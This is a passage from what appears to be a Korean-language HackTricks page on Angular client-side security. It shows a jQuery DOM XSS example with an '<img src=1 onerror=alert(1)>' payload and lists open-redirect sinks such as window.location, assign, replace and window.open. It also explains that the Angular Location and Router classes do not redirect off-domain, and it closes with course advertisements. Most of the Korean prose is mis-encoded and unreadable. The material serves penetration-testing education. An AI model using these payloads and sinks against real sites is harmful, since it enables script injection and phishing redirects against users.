export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}
//app.component.html
<button>Click me</button>
<p id="palias">some text</p>
Open redirects
DOM μΈν°νμ΄μ€
W3C λ¬Έμμ λ°λ₯΄λ©΄, window.location λ° document.location κ°μ²΄λ μ΅μ λΈλΌμ°μ μμ λ³μΉμΌλ‘ μ·¨κΈλ©λλ€. κ·Έλ κΈ° λλ¬Έμ μ΄λ€μ μΌλΆ λ©μλμ μμ±μ μ μ¬ν ꡬνμ κ°μ§λ©°, μ΄λ μλμ μΈκΈλ javascript:// μ€ν€λ§ 곡격μΌλ‘ μΈν΄ μ΄λ¦° 리λλ μ
λ° DOM XSSλ₯Ό μ λ°ν μ μμ΅λλ€.
window.location.href(λ°document.location.href)
νμ¬ DOM μμΉ κ°μ²΄λ₯Ό κ°μ Έμ€λ νμ€ λ°©λ²μ window.locationμ μ¬μ©νλ κ²μ
λλ€. μ΄λ λΈλΌμ°μ λ₯Ό μ νμ΄μ§λ‘ 리λλ μ
νλ λ°μλ μ¬μ©ν μ μμ΅λλ€. λ°λΌμ μ΄ κ°μ²΄μ λν μ μ΄λ₯Ό κ°μ§λ©΄ μ΄λ¦° 리λλ μ
μ·¨μ½μ μ μ
μ©ν μ μμ΅λλ€.
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}
//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
λ€μ μλ리μ€μ λν μ μ© κ³Όμ μ λμΌν©λλ€.
window.location.assign()(λ°document.location.assign())
μ΄ λ©μλλ μ§μ λ URLμμ λ¬Έμλ₯Ό λ‘λνκ³ νμνλλ‘ μ°½μ μ λν©λλ€. μ΄ λ©μλμ λν μ μ΄λ₯Ό κ°μ§λ©΄ μ΄λ¦° 리λλ μ 곡격μ μ±ν¬κ° λ μ μμ΅λλ€.
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
window.location.replace()(λ°document.location.replace())
μ΄ λ©μλλ νμ¬ λ¦¬μμ€λ₯Ό μ 곡λ URLμ 리μμ€λ‘ λ체ν©λλ€.
assign() λ©μλμμ μ°¨μ΄μ μ window.location.replace()λ₯Ό μ¬μ©ν ν νμ¬ νμ΄μ§κ° μΈμ
κΈ°λ‘μ μ μ₯λμ§ μλλ€λ κ²μ
λλ€. κ·Έλ¬λ μ΄ λ©μλμ λν μ μ΄λ₯Ό κ°μ§ λ μ΄λ¦° 리λλ μ
μ·¨μ½μ μ μ
μ©νλ κ²λ κ°λ₯ν©λλ€.
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
window.open()
window.open() λ©μλλ URLμ λ°μ ν΄λΉ 리μμ€λ₯Ό μ νμ΄λ κΈ°μ‘΄ ν λλ μ°½μ λ‘λν©λλ€. μ΄ λ©μλμ λν μ μ΄λ₯Ό κ°μ§λ©΄ XSS λλ μ΄λ¦° 리λλ μ
μ·¨μ½μ μ μ λ°ν κΈ°νκ° λ μ μμ΅λλ€.
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}
Angular ν΄λμ€
- Angular λ¬Έμμ λ°λ₯΄λ©΄, Angular
Documentλ DOM λ¬Έμμ λμΌνλ―λ‘ Angularμμ ν΄λΌμ΄μΈνΈ μΈ‘ μ·¨μ½μ μ μ μ©νκΈ° μν΄ DOM λ¬Έμμ λν μΌλ° 벑ν°λ₯Ό μ¬μ©ν μ μμ΅λλ€.Document.locationμμ±κ³Ό λ©μλλ μλ μμ κ°μ΄ μ±κ³΅μ μΈ μ΄λ¦° 리λλ μ 곡격μ μ±ν¬κ° λ μ μμ΅λλ€:
//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }
goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}
//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
- μ°κ΅¬ λ¨κ³μμ μ°λ¦¬λ μ΄λ¦° 리λλ μ
μ·¨μ½μ μ λν Angular
Locationν΄λμ€λ κ²ν νμ§λ§ μ ν¨ν 벑ν°λ₯Ό μ°Ύμ§ λͺ»νμ΅λλ€.Locationμ μ ν리μΌμ΄μ μ΄ λΈλΌμ°μ μ νμ¬ URLκ³Ό μνΈμμ©νλ λ° μ¬μ©ν μ μλ Angular μλΉμ€μ λλ€. μ΄ μλΉμ€λ μ£Όμ΄μ§ URLμ μ‘°μνλ μ¬λ¬ λ©μλ -go(),replaceState(), λ°prepareExternalUrl()λ₯Ό κ°μ§κ³ μμ΅λλ€. κ·Έλ¬λ μ°λ¦¬λ μ΄λ₯Ό μΈλΆ λλ©μΈμΌλ‘ 리λλ μ νλ λ° μ¬μ©ν μ μμ΅λλ€. μλ₯Ό λ€μ΄:
//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}
κ²°κ³Ό: http://localhost:4200/http://google.com/about
- Angular
Routerν΄λμ€λ μ£Όλ‘ λμΌν λλ©μΈ λ΄μμ νμνλ λ° μ¬μ©λλ©° μ ν리μΌμ΄μ μ μΆκ°μ μΈ μ·¨μ½μ μ λμ νμ§ μμ΅λλ€:
//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]
κ²°κ³Ό: http://localhost:4200/https:
λ€μ λ©μλλ λλ©μΈ λ²μ λ΄μμ νμν©λλ€:
const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')
μ°Έκ³ λ¬Έν
- Angular
- Angular Security: The Definitive Guide (Part 1)
- Angular Security: The Definitive Guide (Part 2)
- Angular Security: The Definitive Guide (Part 3)
- Angular Security: Checklist
- Workspace and project file structure
- Introduction to components and templates
- Source map configuration
- Binding syntax
- Angular Context: Easy Data-Binding for Nested Component Trees and the Router Outlet
- Sanitization and security contexts
- GitHub - angular/dom_security_schema.ts
- XSS in Angular and AngularJS
- Angular Universal
- DOM XSS
- Angular ElementRef
- Angular Renderer2
- Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub
- jQuery API Documentation
- How To Use jQuery With Angular (When You Absolutely Have To)
- Angular Document
- Angular Location
- Angular Router
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


